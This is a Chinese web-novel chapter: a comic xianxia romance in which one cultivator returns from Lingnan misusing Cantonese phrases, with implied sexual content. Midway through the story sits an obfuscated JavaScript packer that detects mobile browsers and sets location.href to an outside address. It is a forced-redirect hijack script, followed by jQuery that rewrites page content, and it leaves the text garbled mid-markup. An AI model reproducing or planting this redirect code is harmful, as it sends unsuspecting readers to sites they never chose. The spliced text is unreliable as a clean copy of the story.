解玉弦从岭南回来的第一件事，就是一脚踹开日月宗的正殿大门，手里拎着一串油光水滑的烧鹅，脖子上还挂着一串黄澄澄的芒果干，活像个刚打劫完酒楼的土匪。
“楚镜澜！我返嚟啦！”
【翻译：我回来啦！】
正在批阅宗门事务的楚镜澜笔尖一顿，缓缓抬头，就见自家道侣风风火火冲进来，一张嘴就是一口流利的岭南腔调，还带着点莫名的嚣张。
“你……学会岭南话了”楚镜澜眯了眯眼。
“系啊！”
【是啊！】
解玉弦得意洋洋地把烧鹅往桌上一拍，油纸包“啪”地散开，香气瞬间弥漫整个大殿。
“仲特登学咗几句问候你老母！”
【还特意学了几句问候你妈。】
楚镜澜：“……”
殿内瞬间安静，连门外偷听的弟子们都倒吸一口凉气。
解玉弦浑然不觉，还凑近楚镜澜，笑嘻嘻地用粤语继续输出。
“你知唔知我挂住你啊？”
【你知不知道我想你啊？】
楚镜澜沉默片刻，面无表情地问。
“……这句话什么意思？”
解玉弦眨眨眼，突然意识到自己可能学歪了，但嘴上绝不认输。
“夸你靓仔咯！”
【夸你帅咯！】
楚镜澜盯着他看了三秒，忽然伸手扣住他的后颈，把人拉近，低声道。
“再给你一次机会，老实翻译。”
解玉弦被他盯得耳根发热，但岭南之行让他学会了什么叫“输人不输阵”，于是梗着脖子继续嘴硬。
“我话你系个憨居！”
【我说你是个傻子！】
楚镜澜：“……”
门外偷听的弟子们已经开始瑟瑟发抖，生怕下一秒龙尊大人就要暴怒掀桌。
然而，楚镜澜只是轻轻叹了口气，松开手，淡淡道。
“行，今晚你别想睡了。”
“？？？”
当晚，解玉弦终于意识到自己可能闯祸了。
楚镜澜把他按在床榻上，慢条斯理地解他的衣带，一边解一边用低沉的声音问。
“‘挂住你’到底什么意思？”
解玉弦咽了咽口水，试图挣扎。
“就……普通问候咯！”
楚镜澜挑眉。
“那‘憨居’呢？”
“……夸你威猛。”
楚镜澜冷笑一声，俯身在他耳边轻咬。
“再撒谎，明天你就用岭南话给全宗弟子讲经。”
解玉弦瞬间怂了。
“……‘挂住你’是想你。”
“‘憨居’是……是骂人。”
楚镜澜眯眼。
“骂我什么？”
解玉弦干笑。
“……傻子。”
楚镜澜点点头，忽然一把扯开他的衣襟，低头在他锁骨上咬了一口。
“行，今晚我就让你知道，傻子是怎么收拾人的。”
“……我错了！”
第二日，解玉弦腰酸背痛地爬起来，发现楚镜澜早已不在榻上。
他揉着腰骂骂咧咧地穿好衣服，一推门，就见楚煜蹲在门口，一脸好奇地看着他。
“师尊，师爹让我问你，‘扑街’系咩意思？”
【“扑街”是什么意思？】
解玉弦：“……”
他深吸一口气，咬牙切齿道。
“告诉你师爹，今晚他扑街！”
楚煜歪头。
“但系师爹话，如果你唔解释清楚，今晚继续……”
解玉弦一把捂住他的嘴。
“闭嘴！去练功！”
傍晚，楚镜澜从宗门议事堂回来，一推门就见解玉弦盘腿坐在床上，面前摊开一本《岭南话速成指南》，正皱着眉头念念有词。
“做咩啊？”【干什么呢？】
楚镜澜故意用刚学的蹩脚粤语逗他。
解玉弦抬头，一脸严肃。
“楚镜澜，我要同你讲清楚！”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15879606|176341||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>楚镜澜挑眉，走到床边坐下。
“讲。”
解玉弦深吸一口气，用字正腔圆的粤语说道。
“我中意你，系真嘅。”
【我喜欢你，是真的。】
楚镜澜怔住。
解玉弦耳根通红，但倔强地继续输出。
“我唔系特登闹你，系岭南嗰边啲人教我，话咁样讲会好威。”
【我不是故意骂你，是岭南那边的人教我，说这样讲话会很威风。】
楚镜澜沉默片刻，忽然笑了。
他伸手揉了揉解玉弦的脑袋，低声道。
“傻仔。”
【傻子。】
解玉弦瞪眼。
“你又骂我？！”
楚镜澜俯身亲了亲他的额头。
“傻仔，系我中意你。”
【“傻子”是我喜欢你。】
解玉弦愣住，随即炸毛。
“你骗鬼啊！‘傻仔’明明就系骂人！”
楚镜澜低笑，一把将人搂进怀里。
“嗯，我中意你，傻仔。”
“……楚镜澜！你学坏了！”
翌日，日月宗全体弟子发现，他们那位平日里嚣张跋扈的宗主大人，走路姿势有点奇怪，还时不时揉腰。
而龙尊大人则神清气爽，甚至破天荒地给每位弟子发了一颗岭南特产的糖莲子。
楚煜偷偷问解玉弦。
“师尊，你哋和好啦？”
【你们和好啦？】
解玉弦咬牙切齿。
“同你师爹讲，今晚佢瞓地板！”
【跟你师爹说，今晚他睡地板！】
楚镜澜的声音从背后幽幽传来。
“哦？你确定？”
解玉弦：“……”
从此，日月宗多了一条门规。
“禁止宗主自学方言，违者罚抄《清心咒》三百遍。”
“……楚镜澜！你针对我！”
楚镜澜淡定喝茶。
“嗯，针对你。”